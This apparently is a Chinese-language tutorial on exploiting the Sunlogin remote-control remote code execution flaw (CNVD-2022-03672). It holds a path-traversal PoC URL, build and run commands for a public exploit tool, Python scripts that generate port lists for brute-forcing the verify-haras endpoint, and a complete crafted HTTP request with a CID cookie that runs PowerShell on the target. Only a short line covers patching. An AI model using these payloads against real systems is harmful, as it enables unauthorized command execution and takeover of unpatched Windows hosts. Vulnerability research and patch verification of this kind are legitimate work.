CNVD-2022-03672

前言

漏洞发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。

影响范围:
向日葵个人版for Windows <= 11.0.0.33
向日葵简约版 <= V1.0.1.43315(2021.12)


PoC:/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fwhoami

漏洞修复:
官方已在2021年发布了新版本修复,请受影响用户更新版本进行防护。
下载链接:https://sunlogin.oray.com



参考:
https://www.cnvd.org.cn/flaw/show/CNVD-2022-10270
https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672

使用打包好的工具

1
2
地址:
https://github.com/TRYblog/sunlogin_rce_

下载

image-20220216194211980

生成go文件

1
sudo go build main.go

image-20220216194902900

更改权限

1
sudo chmod 777 mian

image-20220216195119437

端口检测

1
sudo ./main -h 192.168.1.128 -t scan

image-20220216195226159

执行命令

image-20220216195252012

Tips

首先是测试机器要允许ping、能够ping通

image-20220216195402120

防火墙与Defeder是关闭状态的

image-20220216195459878

不然就容易出现命令执行成功、但是无法回显的情况

image-20220216195545052

使用burp

端口检测

使用web请求器进行端口检测

生成字典
1
2
3
4
5
x=40000
while x<65535:
x+=1
with open("port.txt","a",encoding="utf-8") as f:
f.write(str(x)+'\n')
生成访问链接
1
2
3
4
5
with open ('port.txt','r',encoding='UTF-8') as readfile:
for dirs in readfile.readlines():
url = 'http://192.168.1.128:'+dirs.strip('\n')+'/cgi-bin/rpc?action=verify-haras'
with open("port+url.txt", "a", encoding="utf-8") as f:
f.write(url + '\n')

爆破

image-20220216223648531

获取到verify_string值

image-20220216223719585

将verify_string值放到cookie构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami HTTP/1.1
Host: 192.168.1.128:50138
Proxy-Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: CID=yR9bytPdIGHk9qc9bmW0fJj8PfaFRIKl
connection: close
Accept-Language: zh-CN,zh;q=0.9